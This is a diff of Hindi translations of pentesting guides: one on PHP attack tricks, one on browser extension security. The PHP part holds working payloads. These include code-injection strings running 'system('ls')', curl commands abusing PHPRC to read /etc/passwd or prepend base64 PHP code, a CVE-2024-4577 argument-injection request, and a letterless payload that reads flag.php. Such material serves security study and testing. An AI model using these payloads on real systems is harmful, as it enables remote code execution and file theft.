यदि एक **PHP पृष्ठ त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा सामग्री प्रिंट करने के लिए मजबूर कर सकता है** कि जब यह **उत्तर में हेडर जोड़ने की कोशिश करता है**, तो सर्वर एक त्रुटि फेंक देगा।\
|
||||
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़े त्रुटियाँ फेंकने के लिए मजबूर किया**, और जैसा कि आप स्क्रीन में देख सकते हैं जब PHP ने **हेडर जानकारी को संशोधित करने की कोशिश की, तो यह नहीं कर सका** (तो उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया):
|
||||
यदि एक **PHP पृष्ठ त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस ईको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा सामग्री प्रिंट करने के लिए मजबूर कर सकता है** कि जब यह **उत्तर में हेडर जोड़ने की कोशिश करता है**, तो सर्वर एक त्रुटि फेंक देगा।\
|
||||
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़े त्रुटियाँ फेंकने के लिए मजबूर किया**, और जैसा कि आप स्क्रीन में देख सकते हैं, जब PHP ने **हेडर जानकारी को संशोधित करने की कोशिश की, तो यह नहीं कर सका** (तो उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -202,7 +202,7 @@ php-ssrf.md
|
||||
&#xNAN;**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[अधिक उपयोगी PHP फ़ंक्शंस के लिए इसे देखें](php-useful-functions-disable_functions-open_basedir-bypass/)
|
||||
[अधिक उपयोगी PHP फ़ंक्शंस के लिए इसे देखें](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
|
||||
### **preg_replace() के माध्यम से** **RCE**
|
||||
```php
|
||||
@ -227,7 +227,7 @@ preg_replace का यह विकल्प **PHP 5.5.0 से हटा द
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** जैसे "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करते क्योंकि यदि पहली शर्त सही है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा।
|
||||
आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** का उपयोग कर सकते हैं जैसे "**and" या "%26%26" या "|"**। ध्यान दें कि "or", "||" काम नहीं करते क्योंकि यदि पहली शर्त सत्य है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा।
|
||||
|
||||
**दूसरा विकल्प** है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: `'.highlight_file('.passwd').'`
|
||||
|
||||
@ -274,26 +274,26 @@ usort();}phpinfo;#, "cmp");
|
||||
|
||||
यदि आप एक भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरीज़ लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)।
|
||||
- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
|
||||
1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें
|
||||
2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करें
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरी लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)।
|
||||
- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरी फ़ाइल सामान्य **PHP कोड होती है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
|
||||
1. हमारे शेलकोड वाली PHP फ़ाइल अपलोड करें
|
||||
2. एक दूसरी फ़ाइल अपलोड करें, जिसमें **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि वह चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करे
|
||||
3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें।
|
||||
- इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)।
|
||||
- **PHPRC** - एक और विकल्प
|
||||
- यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है:
|
||||
- यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** होता है:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- या RCE प्राप्त करने के लिए, **`allow_url_include`** सक्षम करें और **base64 PHP कोड** के साथ एक फ़ाइल को प्रीपेंड करें:
|
||||
- या RCE प्राप्त करने के लिए, **`allow_url_include`** सक्षम करें और **base64 PHP कोड** वाली फ़ाइल को प्रीपेंड करें:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- तकनीक [**इस रिपोर्ट से**](https://vulncheck.com/blog/juniper-cve-2023-36845)।
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
वेब सर्वर HTTP अनुरोधों को पार्स करता है और उन्हें एक PHP स्क्रिप्ट को पास करता है जो एक अनुरोध को निष्पादित करता है जैसे [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) को `php.exe cgi.php foo=bar` के रूप में, जो एक पैरामीटर इंजेक्शन की अनुमति देता है। यह निम्नलिखित पैरामीटर को इंजेक्ट करने की अनुमति देगा ताकि PHP कोड को शरीर से लोड किया जा सके:
|
||||
वेब सर्वर HTTP अनुरोधों को पार्स करता है और उन्हें एक PHP स्क्रिप्ट को भेजता है जो एक अनुरोध को निष्पादित करता है जैसे [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) को `php.exe cgi.php foo=bar` के रूप में, जो एक पैरामीटर इंजेक्शन की अनुमति देता है। यह PHP कोड को शरीर से लोड करने के लिए निम्नलिखित पैरामीटर इंजेक्ट करने की अनुमति देगा:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण की जांच करें।
|
||||
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण देखें:
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -335,7 +335,7 @@ PHP रैपर और प्रोटोकॉल आपको एक सि
|
||||
|
||||
## Xdebug बिना प्रमाणीकरण वाला RCE
|
||||
|
||||
यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
|
||||
यदि आप देखते हैं कि `phpconfig()` आउटपुट में **Xdebug** **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
|
||||
|
||||
## वेरिएबल वेरिएबल्स
|
||||
```php
|
||||
@ -381,7 +381,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
तो, यदि आप **संख्याओं और अक्षरों के बिना मनमाना PHP निष्पादित कर सकते हैं** तो आप निम्नलिखित अनुरोध भेज सकते हैं जो उस पेलोड का दुरुपयोग करके मनमाना PHP निष्पादित करता है:
|
||||
तो, यदि आप **संख्याओं और अक्षरों के बिना मनमाना PHP निष्पादित कर सकते हैं** तो आप उस पेलोड का दुरुपयोग करके मनमाना PHP निष्पादित करने के लिए निम्नलिखित अनुरोध भेज सकते हैं:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -14,7 +14,7 @@
|
||||
|
||||
### **Content Scripts**
|
||||
|
||||
प्रत्येक कंटेंट स्क्रिप्ट के पास **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के संपर्क में आता है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमति नहीं होती है।
|
||||
प्रत्येक कंटेंट स्क्रिप्ट के पास **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के लिए उजागर होता है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमति नहीं होती है।
|
||||
|
||||
### **Extension Core**
|
||||
|
||||
@ -29,13 +29,13 @@
|
||||
> [!CAUTION]
|
||||
> उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नैटिव बाइनरी में पास करे।
|
||||
|
||||
एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए उपलब्ध नहीं हैं।
|
||||
एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए अनुपलब्ध हैं।
|
||||
|
||||
इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ के पास **एक ही अंतर्निहित DOM तक पहुंच** होती है, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है।
|
||||
इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ के पास **एक ही अंतर्निहित DOM** तक पहुंच होती है, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है।
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
एक Chrome एक्सटेंशन बस एक ZIP फ़ोल्डर है जिसमें [.crx फ़ाइल एक्सटेंशन](https://www.lifewire.com/crx-file-2620391) होता है। एक्सटेंशन का कोर **`manifest.json`** फ़ाइल है जो फ़ोल्डर की जड़ में होती है, जो लेआउट, अनुमतियों और अन्य कॉन्फ़िगरेशन विकल्पों को निर्दिष्ट करती है।
|
||||
एक Chrome एक्सटेंशन बस एक ZIP फ़ोल्डर है जिसमें [.crx फ़ाइल एक्सटेंशन](https://www.lifewire.com/crx-file-2620391) होता है। एक्सटेंशन का कोर फ़ोल्डर के रूट में **`manifest.json`** फ़ाइल है, जो लेआउट, अनुमतियों और अन्य कॉन्फ़िगरेशन विकल्पों को निर्दिष्ट करता है।
|
||||
|
||||
Example:
|
||||
```json
|
||||
@ -97,16 +97,16 @@ document.body.appendChild(div)
|
||||
> ब्राउज़र के आधार पर, सामग्री स्क्रिप्ट की क्षमताएँ थोड़ी भिन्न हो सकती हैं। क्रोमियम-आधारित ब्राउज़रों के लिए, क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) में उपलब्ध है, और फ़ायरफ़ॉक्स के लिए, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) प्राथमिक स्रोत के रूप में कार्य करता है।\
|
||||
> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट के पास बैकग्राउंड स्क्रिप्ट के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है।
|
||||
|
||||
Chrome में सामग्री स्क्रिप्ट को देखने और डिबग करने के लिए, Chrome डेवलपर टूल मेनू को Options > More tools > Developer tools से एक्सेस किया जा सकता है या Ctrl + Shift + I दबाकर।
|
||||
Chrome में सामग्री स्क्रिप्ट को देखने और डिबग करने के लिए, Chrome डेवलपर टूल मेनू को Options > More tools > Developer tools से या Ctrl + Shift + I दबाकर एक्सेस किया जा सकता है।
|
||||
|
||||
डेवलपर टूल प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स को देखने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है।
|
||||
डेवलपर टूल प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है।
|
||||
|
||||
### Injected content scripts
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि **Content Scripts अनिवार्य नहीं हैं** क्योंकि यह **डायनामिकली** **inject** स्क्रिप्ट्स और **programatically inject** करने के लिए भी संभव है **`tabs.executeScript`** के माध्यम से। यह वास्तव में अधिक **granular controls** प्रदान करता है।
|
||||
|
||||
एक सामग्री स्क्रिप्ट के प्रोग्रामेटिक इंजेक्शन के लिए, एक्सटेंशन को उस पृष्ठ के लिए [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) होना आवश्यक है जिसमें स्क्रिप्ट्स को इंजेक्ट किया जाना है। ये अनुमतियाँ या तो एक्सटेंशन के मैनिफेस्ट में **उनकी मांग करके** या [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) के माध्यम से अस्थायी रूप से सुरक्षित की जा सकती हैं।
|
||||
एक सामग्री स्क्रिप्ट के प्रोग्रामेटिक इंजेक्शन के लिए, एक्सटेंशन को उस पृष्ठ के लिए [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) होना आवश्यक है जिसमें स्क्रिप्ट्स को इंजेक्ट किया जाना है। ये अनुमतियाँ या तो एक्सटेंशन के मैनिफेस्ट में **उनकी मांग करके** या [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) के माध्यम से अस्थायी आधार पर सुरक्षित की जा सकती हैं।
|
||||
|
||||
#### Example activeTab-based extension
|
||||
```json:manifest.json
|
||||
@ -171,13 +171,13 @@ URLs को शामिल या बाहर करने के लिए **
|
||||
|
||||
### सामग्री स्क्रिप्ट `run_at`
|
||||
|
||||
`run_at` फ़ील्ड **नियंत्रित करता है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान है `"document_idle"`।
|
||||
`run_at` फ़ील्ड **यह नियंत्रित करती है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान `"document_idle"` है।
|
||||
|
||||
संभव मान हैं:
|
||||
|
||||
- **`document_idle`**: जब भी संभव हो
|
||||
- **`document_start`**: `css` से किसी भी फ़ाइल के बाद, लेकिन किसी अन्य DOM के निर्माण या किसी अन्य स्क्रिप्ट के चलने से पहले।
|
||||
- **`document_end`**: तुरंत बाद जब DOM पूरा हो जाता है, लेकिन छवियों और फ़्रेम जैसे उप-संसाधनों के लोड होने से पहले।
|
||||
- **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन छवियों और फ़्रेम जैसी उप-संसाधनों के लोड होने से पहले।
|
||||
|
||||
#### `manifest.json` के माध्यम से
|
||||
```json
|
||||
@ -195,7 +195,7 @@ URLs को शामिल या बाहर करने के लिए **
|
||||
}
|
||||
|
||||
```
|
||||
**`service-worker.js`** के माध्यम से
|
||||
द्वारा **`service-worker.js`**
|
||||
```javascript
|
||||
chrome.scripting.registerContentScripts([
|
||||
{
|
||||
@ -208,7 +208,7 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त किए जाते हैं, जो एक्सटेंशन के घटकों के समन्वय में केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, सीधे उपयोगकर्ता इंटरैक्शन के बिना काम करता है। इसमें अपना खुद का दस्तावेज़ ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है।
|
||||
सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त किए जाते हैं, जो एक्सटेंशन के घटकों के समन्वय में एक केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, सीधे उपयोगकर्ता इंटरैक्शन के बिना काम करता है। इसमें अपना खुद का दस्तावेज़ ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है।
|
||||
|
||||
**मुख्य बिंदु**:
|
||||
|
||||
@ -217,9 +217,9 @@ js: ["contentScript.js"],
|
||||
- **स्वचालित निर्माण:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो ब्राउज़र स्वचालित रूप से एक बैकग्राउंड पेज बनाएगा। यह स्वचालित रूप से उत्पन्न पृष्ठ एक्सटेंशन के मैनिफेस्ट में निर्दिष्ट सभी बैकग्राउंड स्क्रिप्ट को शामिल करेगा, जिससे एक्सटेंशन के बैकग्राउंड कार्यों का निर्बाध संचालन सुनिश्चित होता है।
|
||||
|
||||
> [!TIP]
|
||||
> ब्राउज़र द्वारा बैकग्राउंड पेज को स्वचालित रूप से उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यात्मक हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके।
|
||||
> ब्राउज़र द्वारा स्वचालित रूप से बैकग्राउंड पेज उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यात्मक हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके।
|
||||
|
||||
उदाहरण बैकग्राउंड स्क्रिप्ट:
|
||||
Example background script:
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
||||
if (request == "explain") {
|
||||
@ -229,30 +229,30 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
```
|
||||
यह [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) का उपयोग संदेशों को सुनने के लिए करता है। जब एक `"explain"` संदेश प्राप्त होता है, तो यह [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) का उपयोग करके एक नए टैब में एक पृष्ठ खोलता है।
|
||||
|
||||
बैकग्राउंड स्क्रिप्ट को डिबग करने के लिए आप **एक्सटेंशन विवरण पर जा सकते हैं और सेवा कार्यकर्ता का निरीक्षण कर सकते हैं,** इससे बैकग्राउंड स्क्रिप्ट के साथ डेवलपर टूल्स खुलेंगे:
|
||||
पृष्ठभूमि स्क्रिप्ट को डिबग करने के लिए, आप **एक्सटेंशन विवरण पर जा सकते हैं और सेवा कार्यकर्ता का निरीक्षण कर सकते हैं,** इससे पृष्ठभूमि स्क्रिप्ट के साथ डेवलपर टूल्स खुलेंगे:
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### विकल्प पृष्ठ और अन्य
|
||||
|
||||
ब्राउज़र एक्सटेंशन विभिन्न प्रकार के पृष्ठों को शामिल कर सकते हैं:
|
||||
ब्राउज़र एक्सटेंशन में विभिन्न प्रकार के पृष्ठ हो सकते हैं:
|
||||
|
||||
- **एक्शन पृष्ठ** तब प्रदर्शित होते हैं जब **एक्सटेंशन आइकन** पर क्लिक किया जाता है।
|
||||
- पृष्ठ जो एक्सटेंशन **नए टैब में लोड करेगा**।
|
||||
- पृष्ठ जो एक्सटेंशन **एक नए टैब में लोड करेगा**।
|
||||
- **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` में पहुँचने में सक्षम था या क्लिक करके:
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
ध्यान दें कि ये पृष्ठ बैकग्राउंड पृष्ठों की तरह स्थायी नहीं होते हैं क्योंकि वे आवश्यकता के अनुसार गतिशील सामग्री लोड करते हैं। इसके बावजूद, वे बैकग्राउंड पृष्ठ के साथ कुछ क्षमताएँ साझा करते हैं:
|
||||
ध्यान दें कि ये पृष्ठ पृष्ठभूमि पृष्ठों की तरह स्थायी नहीं होते हैं क्योंकि वे आवश्यकता के अनुसार गतिशील सामग्री लोड करते हैं। इसके बावजूद, वे पृष्ठभूमि पृष्ठ के साथ कुछ क्षमताएँ साझा करते हैं:
|
||||
|
||||
- **सामग्री स्क्रिप्ट के साथ संचार:** बैकग्राउंड पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जिससे एक्सटेंशन के भीतर बातचीत को सुविधाजनक बनाया जा सकता है।
|
||||
- **सामग्री स्क्रिप्ट के साथ संचार:** पृष्ठभूमि पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जो एक्सटेंशन के भीतर बातचीत को सुविधाजनक बनाता है।
|
||||
- **एक्सटेंशन-विशिष्ट APIs तक पहुँच:** इन पृष्ठों को एक्सटेंशन-विशिष्ट APIs तक व्यापक पहुँच प्राप्त होती है, जो एक्सटेंशन के लिए परिभाषित अनुमतियों के अधीन होती है।
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि ब्राउज़र एक्सटेंशन के पास कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों में**।
|
||||
**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि** ब्राउज़र एक्सटेंशन के पास **कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों** पर।
|
||||
|
||||
चूंकि ब्राउज़र एक्सटेंशन इतने **विशिष्ट** हो सकते हैं, एक दुर्भावनापूर्ण या एक जो समझौता किया गया हो, हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**।
|
||||
चूंकि ब्राउज़र एक्सटेंशन **विशेषाधिकार प्राप्त** हो सकते हैं, एक दुर्भावनापूर्ण या एक जो समझौता किया गया हो, हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**।
|
||||
|
||||
जांचें कि ये सेटिंग्स कैसे काम करती हैं और कैसे इनका दुरुपयोग किया जा सकता है:
|
||||
|
||||
@ -276,7 +276,7 @@ CSP और संभावित बायपास के बारे मे
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
किसी वेबपेज को ब्राउज़र एक्सटेंशन के एक पृष्ठ, जैसे कि एक `.html` पृष्ठ, तक पहुँचने के लिए, इस पृष्ठ को `manifest.json` के **`web_accessible_resources`** क्षेत्र में उल्लेखित किया जाना चाहिए।\
|
||||
किसी वेबपेज को ब्राउज़र एक्सटेंशन के एक पृष्ठ, जैसे कि `.html` पृष्ठ, तक पहुँचने के लिए, इस पृष्ठ को `manifest.json` के **`web_accessible_resources`** क्षेत्र में उल्लेखित किया जाना चाहिए।\
|
||||
उदाहरण के लिए:
|
||||
```javascript
|
||||
{
|
||||
@ -305,7 +305,7 @@ chrome-extension://<extension-id>/message.html
|
||||
हालांकि, यदि `manifest.json` पैरामीटर **`use_dynamic_url`** का उपयोग किया जाता है, तो यह **id गतिशील हो सकता है**।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि भले ही किसी पृष्ठ का उल्लेख यहां किया गया हो, यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले इसे (frame-ancestors सेक्शन) भी जांचना आवश्यक है।
|
||||
> ध्यान दें कि यहां यदि किसी पृष्ठ का उल्लेख किया गया है, तो यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले इसे (frame-ancestors सेक्शन) भी जांचना आवश्यक है।
|
||||
|
||||
इन पृष्ठों तक पहुंचने की अनुमति होने से ये पृष्ठ **संभावित रूप से कमजोर ClickJacking** बन जाते हैं:
|
||||
|
||||
@ -317,15 +317,15 @@ browext-clickjacking.md
|
